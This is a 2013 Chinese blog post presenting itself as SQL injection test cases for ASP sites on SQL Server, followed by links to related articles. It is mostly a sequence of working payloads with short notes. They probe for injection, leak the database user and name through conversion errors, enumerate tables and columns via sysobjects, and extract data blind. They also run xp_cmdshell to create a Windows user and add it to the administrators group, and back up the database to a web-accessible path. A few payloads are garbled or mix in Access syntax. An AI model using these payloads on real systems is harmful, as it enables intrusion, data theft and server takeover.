ASP+SQL Server SQL 注入攻击测试用例

原创 2013年12月02日 14:11:06

SQL注入攻击测试用例

说明

Night--

Night’ and 1=1--
Night’ and 1=2--

判断是否存在注入漏洞。SQL Server中的行注释符号为”--”

URL;and user>0--

User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar。它的值是当前连接的用户名,数据类型为nvarchar。用nvarchar类型与int类型比较会引起错误,而SQL Server在返回的错误信息中往往会暴露出user的值;将nvarchar值“XXX”转换数据类型为int的列时发生语法错误。

URL;and db_name()>0--

获取数据库名称

URL;and (select count(*) from sysobjects)>0—

 

 

msysobjects是Access 数据库的系统表,sysobjects是SQL Server的系统表。通过这两次攻击尝试,可以从服务器的反馈中辨别出服务器使用的数据库类型.

 

URL;and (select count(*) from msysobjects)>0--

Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数目--

测试数据库中有多少用户自己建立的表,sysobjects中存放着数据库内所有表的表名,列名等信息。xtype=’U’ and status>0 表示只检索用户建立的表名

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 )>0--

获得第一个表的名字

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一个表名’)>0--

通过类似的方式可以获得其他表名

Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0--

通过sysobjects获得列名

Night’ and (select top 1 len(列名) from 表名)>0--

获得列名长度

Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0--

逐字读出列名的每一个字符,通常用户没有报错返回的盲注

URL;exec master..xp_cmdshell  “net user 用户名和密码” /add

利用存储过程xp_cmdshell在服务器主机上添加用户

URL;exec master..xp_cmdshell  “net localgroup administrators 用户名 /add”--

将添加的用户加入管理员组

URL;backup database 数据库名 to disk=’路径’;--

利用存储过程将数据库备份到可以通过HTTP访问到得目录下,或者也可通过网络进行远程备份

相关文章推荐

如何防范SQL注入 SQL注入测试

从测试来进行测试SQL注入。   首先,看看SQL注入攻击能分为以下三种类型:    Inband: 数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序...

防范SQL Server注入攻击

SQL 注入式攻击是指利用设计上的漏洞攻击系统,如果动态生成SQL 语句时没有对用户输入的数据进行过滤,便会使SQL 注入攻击得逞.  例如: 用下面的SQL 语句判断用户名和密码: txtSQ...

DELPHI 测试连接SQL SERVER数据库

  • 2011年04月01日 15:49
  • 537B
  • 下载

ASP.NET操作SQL Server 存储大文件的方法分享

之前做了关于窗体应用程序关于使用SQL Server存储大文件的方法。这里记录的是关于网页操作SQL Server 存储大文件的方法。 方法:      1,将合同内容以文件的方式存放在本地的物理...
  • HK_5788
  • HK_5788
  • 2015年10月05日 23:44
  • 660

测试与SQL Server 2005数据库的连接

  • 2009年06月17日 00:53
  • 40KB
  • 下载

ASP.net连接SQL Server(学习记录)

使用SqlConnection对象连接SQL Server数据库  我们可以用SqlConnection()构造函数生成一个新的SqlConnection对象。这个函数是重载的,即我们可以调用构造函数...
  • ryanzll
  • ryanzll
  • 2011年04月21日 14:39
  • 1161
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:ASP+SQL Server SQL 注入攻击测试用例
举报原因:
原因补充:

(最多只允许输入30个字)